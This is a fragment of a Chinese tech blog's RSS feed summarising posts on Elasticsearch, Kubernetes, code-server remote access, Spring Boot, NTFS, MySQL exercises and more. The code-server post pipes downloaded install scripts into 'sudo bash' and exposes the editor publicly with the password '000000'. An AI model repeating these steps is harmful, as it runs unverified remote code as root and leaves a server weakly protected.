      <description>什么是ES？ 答：ES是Elasticsearch的缩写，是一款开源的分布式搜索引擎。它可以快速地存储、搜索和分析大量的数据，支持全文检索、结构化查询等多种查询方式。ES的主要特点是速度快、可扩展、高可用和易于使用。&#xA;ES的主要用途是什么？ 答：ES主要用于建立搜索引擎、日志分析、监控等场景。在搜索引擎领域，ES可以快速地检索海量数据，支持复杂的查询语句和聚合操作。在日志分析领域，ES可以实时地收集、分析和可视化大量的日志数据。在监控领域，ES可以实时地监控系统、网络、服务器等各种指标数据。&#xA;ES的数据存储方式是什么？ 答：ES使用的是倒排索引的方式来存储数据。倒排索引是一种将文档中的单词映射到包含这些单词的文档中的数据结构。它可以快速地定位文档中包含某个单词的位置，从而实现快速的全文检索。&#xA;ES的数据分片是如何实现的？ 答：ES的数据分片是通过将数据分成多个分片来实现的。每个分片都是一个独立的索引，包含部分数据。分片可以在多个节点上分布式存储，提高了数据的可用性和可扩展性。当进行查询时，ES会自动将查询请求分发到所有相关的分片上，并将结果进行合并返回。&#xA;ES的查询语句有哪些？ 答：ES的查询语句主要有以下几种：&#xA;（1）match查询：用于执行全文搜索。&#xA;（2）term查询：用于匹配精确值。&#xA;（3）range查询：用于匹配指定范围内的值。&#xA;（4）bool查询：用于组合多个查询语句。&#xA;（5）match_phrase查询：用于匹配短语。&#xA;ES的聚合操作有哪些？ 答：ES的聚合操作主要有以下几种：&#xA;（1）count聚合：用于计算文档数量。&#xA;（2）sum聚合：用于计算指定字段的总和。&#xA;（3）avg聚合：用于计算指定字段的平均值。&#xA;（4）max聚合：用于计算指定字段的最大值。&#xA;（5）min聚合：用于计算指定字段的最小值。&#xA;ES的集群是如何工作的？ 答：ES的集群是由多个节点组成的，每个节点都是独立的进程。当启动一个节点时，它会自动加入到集群中，参与数据的存储和查询。ES的集群通过Master节点进行协调和管理，Master节点负责维护集群状态、节点状态和分片状态等信息。&#xA;ES的数据备份和恢复如何实现？ 答：ES的数据备份和恢复可以通过快照和恢复功能来实现。快照是对索引和分片的一份拷贝，可以保存在本地或远程存储库中。当需要恢复数据时，可以从快照中恢复索引和分片。此外，ES还提供了基于日志的复制机制，可以在多个节点之间复制数据，提供数据冗余和高可用性。</description>
    </item>
    <item>
      <title>k8s命令查看容器日志</title>
      <link>https://bchobby.github.io/posts/91a999ed720f918ed4fa1eb9df5dfb02/</link>
      <pubDate>Thu, 13 Apr 2023 09:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91a999ed720f918ed4fa1eb9df5dfb02/</guid>
      <description>概念： ● namespace&#xA;以不同命名空间区分环境，如：TEST，DEV&#xA;● POD&#xA;k8s运行的最小单位&#xA;● Service&#xA;一种资源类型，将pod开放给外部访问，拥有IP地址，port，target port，前者为对外端口，后者为pod端口&#xA;命令： kbpod 功能：列出pod&#xA;使用方式：kbpod &amp;lt;namespace&amp;gt;&#xA;说明：如果namespace为all，将打印所有命名空间的pod等于–all-namespace效果。&#xA;举例：kbpod all #列出所有pod；&#xA;kbpod test #列出所有test的pod；&#xA;kbpod test |grep&#xA;platform-web #列出test的platform-web的pod完整名称&#xA;kblog 功能：查看pod日志&#xA;使用方法：kblog &amp;lt;namespace&amp;gt; &amp;lt;服务名&amp;gt; [] [] 说明：可以与|grep组合筛选指定内容&#xA;举例：kblog test platform-web #打印test的platform-web所有日志&#xA;kblog test platform-wekbb --tail 100 #打印test的platform-web最后100行日志&#xA;kblog test platform-web --tail 100 -f #打印test的platform-web最后100行日志，并实时打印&#xA;kblog test platform-web --tail 100|grep error #打印test的platform-web最后100行中包含error的日志&#xA;kbdel 功能：删除pod&#xA;使用方法：kbdel &amp;lt;namespace&amp;gt; &amp;lt;podname&amp;gt;&#xA;说明：当需要重启应用时，可以删除pod，pod会重新创建并重新启动应用。&#xA;举例：kbdel test platform-web-5513123-6654</description>
    </item>
    <item>
      <title>【Android平板编程】远程Ubuntu服务器code-server编程写代码</title>
      <link>https://bchobby.github.io/posts/7adf3fe3e70fff344d8ada7e9475d95a/</link>
      <pubDate>Thu, 13 Apr 2023 09:42:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7adf3fe3e70fff344d8ada7e9475d95a/</guid>
      <description>文章目录 前言1.ubuntu本地安装code-server2. 安装cpolar内网穿透3. 创建隧道映射本地端口4. 安卓平板测试访问5.固定域名公网地址5.结语 前言 本次教程将在 Ubuntu 服务器环境下安装 code-server ，并使用 Android 安卓平板远程 Ubuntu 服务，进行远程编程开发写代码。同时搭配 cpolar 内网穿透工具，实现公网环境下异地远程访问Ubuntu的code-server。&#xA;1.ubuntu本地安装code-server 准备一台虚拟机,Ubuntu或者centos都可以,这里以 VMwhere ubuntu 系统为例&#xA;下载code server服务,浏览器访问:https://github.com/coder/code-server,复制下载链接&#xA;打开ubuntu命令行下载&#xA;出现需要输入ubuntu的登录账户密码,输入密码即可,然后等待安装完成&#xA;以下信息表示安装成功&#xA;接着输入以下命令设置code-server的登录密码&#xA;export PASSWORD=”000000” 查看IP地址,作局域网访问使用&#xA;code-server服务默认为8080端口号, 为了防止8080端口冲突,我们修改一下code-server端口号,输入以下命令,编辑配置文件&#xA;sudo vim ~/.config/code-server/config.yaml 把127.0.0.1改为0.0.0.0,8080端口改成自己喜欢的端口,本例子改为8077,修改完成保存&#xA;设置好密码后启动code-server服务,输入以下命令:&#xA;code-server 出现地址和端口号信息表示启动成功&#xA;接着打开浏览器通过局域网ip地址访问http://192.168.191.129:8077/,出现welcone code-server表示成功,输入我们设置的密码,登录即可.&#xA;2. 安装cpolar内网穿透 接着使用cpolar穿透本地code-server服务,使得android设备可以远程进行访问,随时随地写代码。cpolar支持http/https/tcp协议，不限制流量，操作简单，无需公网IP，也无需路由器。&#xA;cpolar官网：https://www.cpolar.com/&#xA;安装cpolar内网穿透(支持一键自动安装脚本)&#xA;cpolar 安装（国内使用） curl -L https://www.cpolar.com/static/downloads/install-release-cpolar.sh | sudo bash 或 cpolar短链接安装方式：(国外使用） curl -sL https://git.io/cpolar | sudo bash 查看版本号 cpolar version token认证 登录cpolar官网后台，点击左侧的验证，查看自己的认证token，之后将token贴在命令行里&#xA;cpolar authtoken xxxxxxx 向系统添加服务 sudo systemctl enable cpolar 启动cpolar服务 sudo systemctl start cpolar 查看服务状态 sudo systemctl status cpolar 正常显示为active则表示服务为正常在线启动状态。</description>
    </item>
    <item>
      <title>Springboot&#43;vue项目 适配金蝶AAS，附上金蝶操作说明</title>
      <link>https://bchobby.github.io/posts/d30f1783154d8a876874603cf904b598/</link>
      <pubDate>Thu, 13 Apr 2023 09:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d30f1783154d8a876874603cf904b598/</guid>
      <description>1.打包方式 修改成war包方式；去除Springboot 自带的tomcat包和servlet-api.jar 防止冲突，最好改成使用编译后的文件夹部署的方式；&#xA;&amp;lt;!-- 移除嵌入式tomcat插件 --&amp;gt; &amp;lt;!--provided：编译和测试时有效，但是该依赖在运行时由服务器提供，并且打包时也不会被包含进去--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-tomcat&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;javax.servlet-api&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 2.修改启动类，初始化方法 public class AASServerApplication extends SpringBootServletInitializer { //1、修改启动类，继承 SpringBootServletInitializer 并重写 configure 方法 @Override protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) { System.out.println(&#34;======AAS===WebApplication====start==========&#34;); return builder.sources(new Class[]{VgServerApplication.class}); } // 2、由于Spring boot默认使用Tomcat作为嵌入式Servlet容器,来启动SpringBoot的web应用,所以需要修改servlet容器的配置 @Bean public ServletRegistrationBean dispatcherRegistration(DispatcherServlet dispatcherServlet) { return new ServletRegistrationBean(dispatcherServlet, &#34;/*&#34;); } //3、如果模块需要上传文件需要添加下面的代码，如果没有可以忽略 @Bean(name = &#34;multipartResolver&#34;) public MultipartResolver multipartResolver() { CommonsMultipartResolver resolver = new CommonsMultipartResolver(); resolver.setDefaultEncoding(&#34;UTF-8&#34;); resolver.</description>
    </item>
    <item>
      <title>多种方式实现web端截屏录屏</title>
      <link>https://bchobby.github.io/posts/af6f21a81ed7bdd68d90eec6fd28c98f/</link>
      <pubDate>Thu, 13 Apr 2023 09:14:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af6f21a81ed7bdd68d90eec6fd28c98f/</guid>
      <description>本文通过使用webrtc、dom监听、使用插件三种方式实现截屏，使用webrtc、dom监听来实现录屏&#xA;使用webrtc实现截屏录屏&#xA;①实现录屏&#xA;// 音频或视频流 let mediaStreamTrack = null; // 录制器 let mediaRecorder = null; /** * @description: 开启屏幕录制，异步返回录制数据 * @author: flyer * @param {Function} onstart 开启录制回调 * @param {Function} onstop 关闭录制回调 */ const startMedia = (onstart, onstop) =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { if (!isObjEmpty(typeof navigator.mediaDevices)) { // eslint-disable-next-line no-undef const controller = new CaptureController(); navigator.mediaDevices .getDisplayMedia({ audio: true, preferCurrentTab: true,controller }) .then(stream =&amp;gt; { mediaStreamTrack = stream; stream.</description>
    </item>
    <item>
      <title>xilinx 7 series GT COMMON</title>
      <link>https://bchobby.github.io/posts/dc8407af748b1fdf4976404ad1095827/</link>
      <pubDate>Wed, 12 Apr 2023 23:04:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc8407af748b1fdf4976404ad1095827/</guid>
      <description>大多数博客都介绍了gtp quad有四个channel和一个gt common资源，gt common中包含两个CPLL或者说就是pll0和pll1，gt common有两个专用的gt refclk输入管脚，可以在gt common原语上配置pll0和pll1的输入源。&#xA;理论上，a7 35t有4个gtp channel，可以跑在2种线速率上，因为pll0和pll1可以分别配置。但我在应用一个pcie ip和aurora ip时，会出现了gt refclk无法route的错误。经过一番折腾，找到了解决办法。&#xA;1. 首先我很早就知道了gt common只有一个，因此例化ip时要选择gt common在example design中。在top顶层单独例化gt common。ref0输入经pll0输出给pcie的pll0。ref1输入经pll1输出给aurora的pll0。&#xA;2.问题在于aurora和pcie ip在例化时都不能选择gtpe2 channel上的txsysclk和rxsysclk的来源，固定就是pll0。这一点可以看源码，追溯到gtpe2 channel原语上，看到TXSYSCLKSEL为2&#39;b00，就表示用的pll0，当然2bit选择不同位置，具体看手册就明白了。也就是说gt common的pll0和pll1不能分别到gtpe2 channel的pll0（粗略看了几个相关手册，猜测的）。 那么我就改变一下思路，先设置ip和global模式，再把它的is manage属性去掉，手动修改aurora ip核的gtp原语上的TXSYSCLKSEL和RXSYSCLKSEL为2&#39;b11，选择pll1输入，然后将gt common的pll1输出到aurora ip核上的pll1，把aurora ip核上的pll0固定接0。&#xA;就可以正常编译了。&#xA;如果有人因为看到我这个博客而解决了类似的问题，我将感到不胜荣幸。</description>
    </item>
    <item>
      <title>CSS预处理器</title>
      <link>https://bchobby.github.io/posts/e7732591f1bcc4bd3dbe16507a601a73/</link>
      <pubDate>Wed, 12 Apr 2023 22:17:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7732591f1bcc4bd3dbe16507a601a73/</guid>
      <description>CSS预处理器是一种工具，可以拓展CSS语言，并添加更多的功能和特性，能编写和维护CSS代码更加高效，它们通常包括一些编程语言的特性，比如变量、函数、循环等以及其他的一些高级功能比如继承、混合、嵌套等。&#xA;与原生的CSS相比，CSS预处理器的优势在于：&#xA;1.更好的可维护性，使得变量函数混合等功能可以使代码更加模块化和可重用，而降低了代码的复杂度和维护难度；&#xA;2.更高的可读性，CSS预处理器通常支持嵌套函数，可以更加好地组织代码结构，从而使代码更加易读；&#xA;3.更高的生产效率，CSS预处理器的功能可以提高开发的效率。&#xA;缺点：代码需要编译成CSS，可能会增加开发和构建的复杂度，最后如果滥用CSS预处理器可能会增加代码的复杂度和不可维护性。</description>
    </item>
    <item>
      <title>集成运放——比例运算电路输入输出电压的关系</title>
      <link>https://bchobby.github.io/posts/353d8f07139a28db964dcf00025b2cc3/</link>
      <pubDate>Wed, 12 Apr 2023 21:29:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/353d8f07139a28db964dcf00025b2cc3/</guid>
      <description>目录 前言一、同相比例运算电路1.一般的电路形式：2.输入电压和输出电压的关系： 二、反向比例运算电路1.一般的电路形式：2.输入电压和输出电压的关系： 三、差分比例运算电路1.一般的电路形式：2.输入电压和输出电压的关系： 总结 前言 下面包含同相比例运算电路、反向比例运算电路、差分比例运算电路3种电路的输入电压和输出电压的关系的表达式计算。&#xA;一、同相比例运算电路 1.一般的电路形式： 2.输入电压和输出电压的关系： 有虚短，有虚断。&#xA;由虚短得：u+=u-=ui&#xA;由虚断得：i+=i-=0&#xA;可以对通路uo(输出端)到RF到R1到地，进行分析，以u-为界，列等式并化简，从而得出输入电压和输出电压的关系：&#xA;二、反向比例运算电路 1.一般的电路形式： 2.输入电压和输出电压的关系： 有虚短，有虚断。&#xA;由虚短得：u+=u-=0&#xA;由虚断得：i+=i-=0&#xA;可以对通路ui（输入端）到R1到RF到uo（输出端）进行分析，以u-为界，列等式并化简，从而得出输入电压和输出电压的关系：&#xA;三、差分比例运算电路 1.一般的电路形式： 2.输入电压和输出电压的关系： 有虚短，有虚断。&#xA;由虚短得：u+=u-&#xA;由虚断得：i+=i-=0&#xA;一般情况下，为了对称性，我们会有R1=R1’,RF=RF’&#xA;可以对通路ui(输入端)到R1到RF到uo(输出端)和同相输入端进行分析，通路以u-为界，可以列出方法1和方法2两种等式（因方法1较复杂难化简，故用方法2），从而得出输入电压和输出电压的关系：&#xA;总结 主要是为了记录学习中的一些知识或者说是学习过程，加深记忆。</description>
    </item>
    <item>
      <title>ESP32在VScode下编译</title>
      <link>https://bchobby.github.io/posts/04430bd8e5d373b44a0673d5cddb33a3/</link>
      <pubDate>Wed, 12 Apr 2023 21:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04430bd8e5d373b44a0673d5cddb33a3/</guid>
      <description>1，搭建好环境之后，会有以下两个重要的文件夹&#xA;一个是用于存放esp-idf(SDK)的文件；一个用于存放编译等工具。&#xA;2，可以拷贝一个工程，到指定文件下下，进行开发。拷贝工程如下&#xA;这里只有main文件夹，CMakeLists.txt 和README.md。&#xA;VScode打开如下&#xA;编译之后，多出build文件夹。&#xA;3，如果有更改文件夹或更改文件夹名，删除“build”文件夹，重新编译一遍即可。</description>
    </item>
    <item>
      <title>Mysql综合案例一</title>
      <link>https://bchobby.github.io/posts/27ab6e3bdbe7ad7c6ddd419d554e7295/</link>
      <pubDate>Wed, 12 Apr 2023 20:21:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27ab6e3bdbe7ad7c6ddd419d554e7295/</guid>
      <description>目录&#xA;一、DDL练习&#xA;代码实现&#xA;二、DML练习&#xA;代码实现&#xA;三、DQL练习&#xA;DQL练习1-学生表&#xA;代码实现&#xA;DQL练习2-员工表&#xA;代码实现&#xA;总结&#xA;一、DDL练习 创建数据库sql1、sql2删除数据库sql2使用数据库sql1创建学生表：id、姓名删除学生表 代码实现 -- 创建数据库sql1、sql2 create database sql1; create database sql2; -- 删除数据库sql2 drop database sql2; -- 使用数据库sql1 use sql1; -- 创建学生表：id、姓名 create table if not exists student ( id int, -- 学生id name varchar(20) -- 学生姓名 ); -- 删除学生表 drop table student; 二、DML练习 创建一个数据库mydb使用mydb数据库创建一个员工表employee 列为 员工编号id 员工姓名name 员工性别gender 员工薪资salary插入数据：张三 男 2000 李四 男 1000 李红 女 4000更新数据：所有人工资变成5000更新数据：张三薪资变成3000id变成0更新数据：所有人工资再加1000删除数据：删除李红的数据清空表 代码实现 -- 创建数据库 create database mydb; 使用mydb数据库 use mydb; -- 创建一个员工表employee 列为 员工编号id 员工姓名name 员工性别gender 员工薪资salary create table employee( id int, -- 员工id name varchar(20), -- 员工姓名 gender varchar(5), -- 员工性别 salary int -- 员工薪资 ); -- 插入数据:张三 男 2000 李四 男 1000 李红 女 4000 insert into employee(name,gender,salary) values (&#39;张三&#39;,&#39;男&#39;,2000), (&#39;李四&#39;,&#39;男&#39;,1000), (&#39;李红&#39;,&#39;女&#39;,4000); -- 更新数据：所有人工资变成5000 update employee set salary=5000; -- 更新数据：张三薪资变成3000id变成0 update employee set salary=3000,id=0 where name=&#39;张三&#39;; -- 更新数据：所有人工资再加1000 update employee set salary=salary+1000; -- 删除数据：删除李红的数据 delete from employee where name=&#39;李红&#39;; -- 清空表 drop table employee; 三、DQL练习 DQL练习1-学生表 创建如下学生表 create table student( id int, name varchar(20), gender varchar(20), chinese int, math int, english int );&#x9;insert into student values (1,&#39;张明&#39;,&#39;男&#39;,89,78,90), (2,&#39;李进&#39;,&#39;男&#39;,67,53,95), (3,&#39;王五&#39;,&#39;女&#39;,87,78,77), (4,&#39;李一&#39;,&#39;女&#39;,88,98,92), (5,&#39;李财&#39;,&#39;男&#39;,82,84,67), (6,&#39;张宝&#39;,&#39;男&#39;,55,85,45), (7,&#39;黄蓉&#39;,&#39;女&#39;,75,65,30),&#x9;(7,&#39;黄蓉&#39;,&#39;女&#39;,75,65,30);&#x9;完成下列要求</description>
    </item>
    <item>
      <title>NTFS详解</title>
      <link>https://bchobby.github.io/posts/62e4b8e07589e8ad581379a944665520/</link>
      <pubDate>Wed, 12 Apr 2023 19:33:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62e4b8e07589e8ad581379a944665520/</guid>
      <description>一、NTFS文件格式介绍 NTFS是Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式，提供长文件名、数据保护和恢复，能通过目录和文件许可实现安全性，并支持跨越分区。&#xA;以上是啃书本，接下来谈谈笔者自己的理解。&#xA;谈到NTFS，就不得不提到FAT32文件系统格式。&#xA;FAT32磁盘格式从Windows98系统开始流行，是FAT16的增强版，相比FAT16，增强了磁盘性能、增加了可用磁盘空间，并且支持长文件名。但是，它的缺点也很明显，那就是他无法支持4G以上文件的储存，而现在的文件动辄十几G。&#xA;而NTFS则是在FAT32的基础上做出了更多的升级和优化。NTFS格式最早出现在WindowsNT操作系统中。&#xA;如果说WindowsNT系统大家没听过，那么时代经典也是时代眼泪的WindowsXP系统，大家一定不陌生。&#xA;事实上，随着千禧年WindowsME系统的没落，2001年诞生的XP系统使用的，正是WindowsNT内核。也是从XP系统之后，历代系统都开始使用NT内核，包括我们现在使用的Win10、Win11等。&#xA;虽然WindowsNT早在1993年就已经出世，但是因为有WindowsME系统的竞争，NT并没有过多的关注。可以说，正是WindowsXP系统把WindowsNT带入21世纪世人的视野。&#xA;那么说了这么多，WindowsNT系统到底与本文的主角NTFS有什么关系呢？&#xA;如果说，WindowsNT系统是1993年诞生的一个婴儿，那么NTFS文化系统格式就是这个婴儿嘴里的牙齿。&#xA;NTFS格式在XP系统之后的系统里，逐渐成为了系统文件的默认格式。但FAT32格式依然在U盘领域等其他领域占有一席之地。&#xA;我们接下来会把二者做对比，方便理解。&#xA;二、NTFS与FAT32的对比实验 实验准备：一台纯净虚拟机&#xA;实验目的：探索NTFS与FAT32磁盘格式的区别&#xA;实验步骤：&#xA;1、为虚拟机添加一张虚拟磁盘&#xA;2、在磁盘管理里，我们将这张磁盘初始化并联机，接下来创建两个简单卷，分别为NTFS格式和FAT32格式&#xA;3、在此电脑里找到创建的两个卷&#xA;经过对比可见：NTFS卷与FAT32卷相比，增加了卷影副本（即“以前的版本”）、安全、配额设置以及压缩选项。&#xA;依此我们可以总结出，NTFS的优点有：&#xA;安全性较高没有文件大小的限制。支持数据恢复更好的磁盘压缩功能 接下来我会对各优点做仔细的实验探究。&#xA;三、NTFS的卷影副本探究实验 实验准备：一台纯净虚拟机&#xA;实验目的：探究NTFS的卷影副本功能&#xA;实验步骤：&#xA;1、右键NTFS格式的分卷，点击配置卷影副本&#xA;2、启用该卷，就自动备份了卷影副本。&#xA;3、随便在该卷里写一些东西，然后点击还原，发现写入的文件消失。可见卷影副本具有恢复到之前某一个时间段文件状态的功能，也就是数据恢复功能（前提是已经做好了备份）。&#xA;四、NTFS与FAT32文件大小限制探究实验 实验准备：沿用之前&#xA;实验步骤：&#xA;1、把一个5.86GB大小的文件放入NTFS卷，发现可以放入，因为NTFS格式对文件大小没有限制&#xA;2、而对于FAT32卷，因为FAT32格式文件大小不能超过4GB的限制，所以即使空间充足也无法放入&#xA;五、NTFS的安全性探究实验 实验步骤：&#xA;以下所有操作只针对NTFS这个盘&#xA;1、我们可以看见，NTFS比FAT32格式多出了不少选项，其中就包括安全选项。&#xA;这个选项是通过给不同用户划分不同权限以提高磁盘的安全性的。&#xA;我们打开高级选项，可以很清楚的看见每个用户群的权限划分。&#xA;比如这里的“everyone”指的是任何一位使用该台计算机的人，而此时划分给everyone的权限是读取和执行，这意味着每一位用户最基本的权限就是读取，可以查看该盘中的任何一个文件。&#xA;而这项权限也就只能做这么多了，如果想执行更多操作，就需要更多的权限。&#xA;在计算机管理里，我创建了一个名叫CESHI的用户，他隶属于Users组，而观察权限，我们发现Users组是有读取、写入、创建权限的。登录这个用户，意味着我们可以在该盘里随意查看、创建并且写入文件。但是，我们无法删除或者修改已存在的文件，这是因为我们没有修改权限。&#xA;当我们想删除文件时，会提示需要管理员权限 。&#xA;我们可以尝试登录管理员账户，给Users组赋予修改权限，再登陆CESHI这个账户，发现这时就可以删除、修改文件了。&#xA;2、Create Owner组意思是对自己创建的文件夹的管理用户。我用一个实验来方便理解。&#xA;我们进入管理员账户，给Create Owner完全控制权限，再给Users读取、写入权限但不给修改权限。刚刚我们说过，只有拥有修改或者完全控制权限，才能删除或修改文件。那么按这个道理，我们登录CESHI这个用户是无法删除任何文件的。&#xA;但是此时我们实践后发现，如果在该盘里创建一个自己的文件夹，那么此时我们在这个文件夹里就有了完全控制权限，想干什么就干什么。这就是Create Owner用户的作用：只要是在你的文件夹下，你可以任意修改（前提是你给Create Owner完全控制权限）。&#xA;3、另外，我们再阐明一下修改与完全控制权限的区别。其实二者非常相似，都具有读取、写入、删除文件的权力，但是完全控制多了一项修改所没有的权限，那就是具有完全控制权限的用户可以给其他用户赋予权限，而修改则不行。&#xA;4、父项与子对象。我们知道，文件夹是层层嵌套的，最外面那层就是我们的盘，盘的权限会默认继承给下面的子对象。当然，这个继承是可以取消的。&#xA;5、当一个用户属于多个组时，此时各组的权限对于这个用户是并集关系。也就是说，假如一个用户既属于Administrators组，也属于Users组，而Administrators具有修改权限，Users具有读取与写入权限，那么该用户对这个盘具有修改权限。&#xA;5、最后，除了盘的权限是可以划分的，盘内文件的权限也可以细分。并且，盘内文件的权限是超越上级的。&#xA;到此，NTFS的介绍告一段落。&#xA;总结一下，NTFS是FAT32的优化版，具有安全性高，无大小限制，支持数据恢复和压缩功能的特点。 实验完毕。&#xA;后话：笔者也只是初学者，初心为分享自己所学知识。欢迎大佬赐教。</description>
    </item>
    <item>
      <title>小程序开发中cookie的使用场景以及方案</title>
      <link>https://bchobby.github.io/posts/3ff5481d28ec33e8d60cbbdc9ea8573f/</link>
      <pubDate>Wed, 12 Apr 2023 16:49:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ff5481d28ec33e8d60cbbdc9ea8573f/</guid>
      <description>小程序是一种轻量级的应用程序，通常运行在手机的微信或其他平台上。在小程序开发中，使用 cookie 是一种常见的方式来在客户端和服务器之间传递和存储数据。下面将详细介绍小程序开发中 cookie 的使用场景和方案。&#xA;登录和用户信息管理：在小程序中，用户登录和用户信息管理是常见的功能。可以使用 cookie 来存储用户登录状态信息，例如用户的登录凭证、用户信息等。通过 cookie，可以在客户端和服务器之间传递用户信息，实现用户登录状态的保持。例如以下代码段演示了如何使用 cookie 来存储和传递用户登录状态： // 小程序中设置 cookie wx.setStorageSync(&#39;token&#39;, &#39;用户登录凭证&#39;); // 小程序中获取 cookie const token = wx.getStorageSync(&#39;token&#39;); // 使用 token 发送请求到服务器进行登录验证 记住用户偏好设置：小程序中可以根据用户的偏好设置来提供个性化的服务，例如用户的语言、主题等。可以使用 cookie 来存储用户的偏好设置信息，使得用户下次打开小程序时可以继续使用之前的偏好设置。例如以下代码段演示了如何使用 cookie 来存储和获取用户偏好设置： // 小程序中设置 cookie wx.setStorageSync(&#39;language&#39;, &#39;用户语言设置&#39;); // 小程序中获取 cookie const language = wx.getStorageSync(&#39;language&#39;); // 使用 language 设置小程序界面语言 缓存数据：小程序中可能需要缓存一些数据，例如用户的搜索历史、浏览记录等。可以使用 cookie 来存储这些数据，以提高小程序的性能和用户体验。例如以下代码段演示了如何使用 cookie 来存储和获取用户搜索历史： // 小程序中设置 cookie wx.setStorageSync(&#39;searchHistory&#39;, JSON.stringify([&#39;搜索关键词1&#39;, &#39;搜索关键词2&#39;])); // 小程序中获取 cookie const searchHistory = JSON.parse(wx.getStorageSync(&#39;searchHistory&#39;)); // 使用 searchHistory 显示用户的搜索历史 防止重复操作：小程序中可能会涉及到一些需要防止重复操作的场景，例如用户重复点击按钮、重复提交表单等。可以使用 cookie 来记录用户操作状态，防止用户重复操作。例如以下代码段演示了如何使用 cookie 来记录和判断按钮点击状态： // 小程序中设置 cookie wx.</description>
    </item>
    <item>
      <title>面试题：Dubbo的一些常见面试题及答案</title>
      <link>https://bchobby.github.io/posts/d9de90aad979440331c840bf80172f13/</link>
      <pubDate>Wed, 12 Apr 2023 16:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9de90aad979440331c840bf80172f13/</guid>
      <description>什么是Dubbo框架？&#xA;Dubbo是一种高性能、轻量级的开源分布式服务框架，它提供了服务注册、服务发现、负载均衡、远程调用、容错和安全等功能，简化了分布式应用开发。&#xA;Dubbo框架的核心原理是什么？&#xA;Dubbo框架的核心原理是基于RPC（Remote Procedure Call）远程过程调用技术，通过网络传输调用服务方法。Dubbo框架通过配置中心、注册中心、RPC协议和服务提供者、服务消费者等组件实现了服务治理的功能。&#xA;Dubbo框架有哪些核心组件？&#xA;Dubbo框架的核心组件包括配置中心、注册中心、服务提供者、服务消费者、RPC协议、负载均衡器、容错机制和监控中心等。&#xA;Dubbo框架支持哪些协议？&#xA;Dubbo框架支持多种协议，包括Dubbo协议、HTTP协议、Hessian协议、Thrift协议和RMI协议等。&#xA;Dubbo框架的扩展点是什么？&#xA;Dubbo框架的扩展点是指开发者可以通过扩展点来自定义框架的行为和功能。Dubbo框架的扩展点包括SPI扩展、自适应扩展、Wrapper扩展和Compiler扩展等。&#xA;Dubbo框架的负载均衡策略有哪些？&#xA;Dubbo框架的负载均衡策略包括随机、轮询、最小连接数、一致性哈希、加权随机、加权轮询、平滑加权轮询和平滑加权一致性哈希等。&#xA;Dubbo框架的容错机制有哪些？&#xA;Dubbo框架的容错机制包括失败自动恢复、快速失败、失败重试、失败转移、自动降级和Mock服务等。&#xA;Dubbo框架的注册中心有哪些？&#xA;Dubbo框架支持多种注册中心，包括Zookeeper、Redis、Multicast、Simple、Nacos和Consul等。&#xA;Dubbo框架的监控中心有哪些？&#xA;Dubbo框架的监控中心包括Dubbo Admin、Dubbo Monitor和Eagle Eye等。&#xA;Dubbo框架如何解决分布式应用中的问题？&#xA;Dubbo框架通过服务注册、服务发现、负载均衡、远程调用、容错和安全等功能解决了分布式应用中的问题，如服务调用的复杂性、服务的可用性、服务的可靠性和服务的安全性等。</description>
    </item>
    <item>
      <title>熟悉这10个顶级GitHub项目，帮你速通Python编程！</title>
      <link>https://bchobby.github.io/posts/0ab99c9b2cde207ed9dab1f826582c81/</link>
      <pubDate>Wed, 12 Apr 2023 16:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ab99c9b2cde207ed9dab1f826582c81/</guid>
      <description>前言 有朋友问我，学习Python最好的方法是什么？&#xA;其实很简单，就是多写，多练。&#xA;找优秀的Project边写边学，多思考一下如果是自己写这些功能会怎么写，眼前的代码有什么可取之处？让这些写过的代码，真正变成你的知识。&#xA;我整理了几个github上很不错的Python项目，在此分享一下。&#xA;1. Python-100-Days url: github.com/jackfrued/Python-100-Daysstar:130000fork:48000 《Python100天从新手到大师》的电子书，作为Python的入门学习资料，学习难度较低。新手也能较快上手学习。 开头15天的知识点，对于0基础的小伙伴可能比较难学，网上会有视频资源，有兴趣的朋友可以去找一下。&#xA;或者可以在文末领取，我会分享给大家。&#xA;2. certbot url: github.com/certbot/certbotstar:30000fork:3300 自动启用和部署HTTPS的免费免费，你的网站打开HTTPS变得简单快捷。选择服务器的操作系统和Web服务器，然后根据给出的步骤一步一步地执行命令，部署教程。&#xA;【----帮助Python学习，以下所有学习资料文末免费领！----】&#xA;3. 30-Days-Of-Python url: github.com/Asabeneh/30-Days-Of-Pythonstar:19000fork:4300 这是一个免费的零基础Python教程。虽然项目本身是英文的，但对英语要求不高，阅读障碍较小，可放心使用。&#xA;4. micropython url: github.com/micropython/micropythonstar:16000fork:6200 可以让单片机上运行Python。&#xA;众所周知Python是一种语法简单的编程语言，使用Python控制硬件非常写意。这个项目就是在单片机上的“迷你” Python，通过它使用Python3单片机，开发硬件的准入门槛大大降低。&#xA;5. recommenders url:github.com/microsoft/recommendersstar:15000fork:2600 在Jupyter Notebook上呈现推荐系统的最佳实践。&#xA;本项目是由微软开源的推荐系统教程，包括推荐系统常用的Python工具箱。&#xA;6. numpy-100 url:github.com/rougier/numpy-100star:9800fork:4900 Numpy练习册。包括100个关于Numpy的练习和解决方案。&#xA;# How to 